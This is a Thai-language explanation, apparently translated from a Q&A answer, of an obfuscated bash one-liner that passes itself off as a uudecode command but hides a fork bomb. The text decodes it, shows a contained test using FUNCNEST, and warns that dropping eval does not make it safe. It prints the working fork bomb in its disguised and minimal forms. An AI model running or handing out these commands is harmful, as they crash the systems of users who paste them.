ก่อนอื่นมาดูคำสั่งทั้งหมด:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
มันมีสตริงที่ยกมาสองครั้งที่ได้รับการสะท้อนไป uudecode
. แต่โปรดทราบว่าภายในสตริงที่มีเครื่องหมายคำพูดคู่คือ กลับคำพูด เชือก สตริงนี้ได้รับ ดำเนินการ . สตริงคือ:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
หากเราดูว่ามีอะไรอยู่ในนั้นเราจะเห็นสามคำสั่ง:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
การแสดง รั้งการขยายตัว ในคำสั่งกลางเรามี:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
บรรทัดแรกพยายามเรียกใช้คำสั่งไร้สาระในพื้นหลัง สิ่งนี้ไม่สำคัญ
บรรทัดที่สองมีความสำคัญ: มันกำหนดฟังก์ชั่น r
ซึ่งเมื่อเรียกใช้จะเปิดตัวสำเนาสองชุด แน่นอนว่าแต่ละชุดจะเปิดตัวอีกสองชุด และอื่น ๆ
บรรทัดที่สามวิ่ง r
เริ่มระเบิดส้อม
ส่วนที่เหลือของรหัสด้านนอกของสตริงที่ยกมาด้านหลังเป็นเพียงเรื่องไร้สาระสำหรับ obfuscation
วิธีรันคำสั่ง อย่างปลอดภัย
รหัสนี้สามารถทำงานได้อย่างปลอดภัยหากเราตั้งค่าขีด จำกัด ระดับการซ้อนฟังก์ชัน ซึ่งสามารถทำได้ด้วย bash's FUNCNEST
ตัวแปร. ที่นี่เราตั้งเป็น 2
และสิ่งนี้จะหยุดการสอบถามซ้ำ:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
ข้อความแสดงข้อผิดพลาดด้านบนแสดงว่า (a) คำสั่งไร้สาระ rYWdl
และ Y29j
ไม่พบ (b) fork fork ถูกหยุดซ้ำ ๆ โดย FUNCNEST และ (c) เอาต์พุตของ echo
ไม่ได้เริ่มต้นด้วย begin
และดังนั้นจึงเป็นข้อมูลที่ไม่ถูกต้องสำหรับ uudecode
.
ส้อมระเบิดในรูปแบบที่ง่ายที่สุด
ระเบิดส้อมจะมีลักษณะอย่างไรถ้าเราลบความสับสนออกไป ตามที่ njzk2 และ gerrit แนะนำมันจะมีลักษณะดังนี้:
echo "`r()(r&r);r`"
เราสามารถทำให้มันง่ายขึ้นไปอีก:
r()(r&r); r
ที่ประกอบด้วยสองข้อความ: หนึ่งกำหนด fork-bomb-function r
และครั้งที่สองวิ่ง r
.
รหัสอื่น ๆ ทั้งหมดรวมถึงไปป์ uudecode
มีเพียงเพื่อความสับสนและความผิดพลาด
แบบฟอร์มดั้งเดิมนั้นมีชั้นของการผิดทางอีกชั้นหนึ่ง
OP ได้จัดเตรียมไว้ ลิงค์ ไปยังกระดานสนทนาที่รหัสนี้ปรากฏขึ้น ตามที่แสดงไว้รหัสดูเหมือนว่า:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
สังเกตเห็นหนึ่งในความคิดเห็นแรกเกี่ยวกับรหัสนี้:
ฉันตกหลุมรักมัน คัดลอกเฉพาะส่วนที่สะท้อนและถอดรหัส แต่ยัง
ถูกแยกออก
ในรูปแบบบนกระดานช่องทางหนึ่งคิดอย่างไร้เดียงสาว่าปัญหาจะเป็น eval
คำสั่งปฏิบัติการบนผลลัพธ์ของ uudecode
. สิ่งนี้จะนำไปสู่ความคิดที่ลบ eval
จะแก้ปัญหา ดังที่เราได้เห็นด้านบนนี้เป็นเท็จและอันตรายดังนั้น